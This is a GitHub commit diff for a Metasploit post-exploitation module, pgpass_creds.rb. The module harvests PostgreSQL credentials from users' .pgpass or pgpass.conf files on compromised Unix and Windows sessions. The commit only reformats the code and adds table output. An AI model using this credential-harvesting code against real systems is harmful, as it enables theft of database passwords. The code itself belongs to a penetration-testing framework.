Skip to content

Commit 1a162d7

Browse files
committed
Use Rex table, fix 1.8 syntax issues, format fixes
1 parent c11779a commit 1a162d7

File tree

1 file changed

+36
-20
lines changed

1 file changed

+36
-20
lines changed

modules/post/multi/gather/pgpass_creds.rb

Lines changed: 36 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
18
require 'msf/core'
2-
require 'rex'
39
require 'msf/core/post/file'
410
require 'msf/core/post/common'
511
require 'msf/core/post/unix'
@@ -14,16 +20,15 @@ class Metasploit3 < Msf::Post
1420

1521
def initialize(info={})
1622
super( update_info(info,
17-
'Name' => 'Multi Gather pgpass Credentials',
18-
'Description' => %q{
23+
'Name' => 'Multi Gather pgpass Credentials',
24+
'Description' => %q{
1925
This module will collect the contents of user's .pgpass or pgpass.conf and
20-
parse them for credentials. This module is largely based on firefox_creds.rb and
21-
ssh_creds.rb.
26+
parse them for credentials.
2227
},
23-
'License' => MSF_LICENSE,
24-
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
25-
'Platform' => %w[linux bsd unix osx win],
26-
'SessionTypes' => %w[meterpreter shell]
28+
'License' => MSF_LICENSE,
29+
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
30+
'Platform' => %w[linux bsd unix osx win],
31+
'SessionTypes' => %w[meterpreter shell]
2732
))
2833
end
2934

@@ -43,7 +48,7 @@ def run
4348
grab_user_profiles.select do |user|
4449
f = "#{user['AppData']}\\postgresql\\pgpass.conf"
4550
if user['AppData'] && file?(f)
46-
files << f
51+
files << f
4752
end
4853
end
4954
else
@@ -68,6 +73,12 @@ def run
6873

6974
# Store the creds to
7075
def parse_creds(f)
76+
cred_table = Rex::Ui::Text::Table.new(
77+
'Header' => 'Postgres Data',
78+
'Indent' => 1,
79+
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
80+
)
81+
7182
read_file(f).each_line do |entry|
7283
ip, port, db, user, pass = entry.chomp.split(/:/, 5)
7384

@@ -93,21 +104,26 @@ def parse_creds(f)
93104
end
94105

95106
pass = p
96-
print_good("Retrieved postgres creds #{ip}:#{port}/#{db} #{user}:#{pass}")
107+
cred_table << [ip, port, db, user, pass]
97108

98109
cred_hash = {
99-
host: session.session_host,
100-
port: port,
101-
user: user,
102-
pass: pass,
103-
ptype: "password",
104-
sname: "postgres",
105-
source_type: "Cred",
106-
duplicate_ok: true,
107-
active: true
110+
:host => session.session_host,
111+
:port => port,
112+
:user => user,
113+
:pass => pass,
114+
:ptype => "password",
115+
:sname => "postgres",
116+
:source_type => "Cred",
117+
:duplicate_ok => true,
118+
:active => true
108119
}
109120

110121
report_auth_info(cred_hash)
111122
end
123+
124+
if not cred_table.rows.empty?
125+
print_line
126+
print_line(cred_table.to_s)
127+
end
112128
end
113129
end

0 commit comments

Comments
 (0)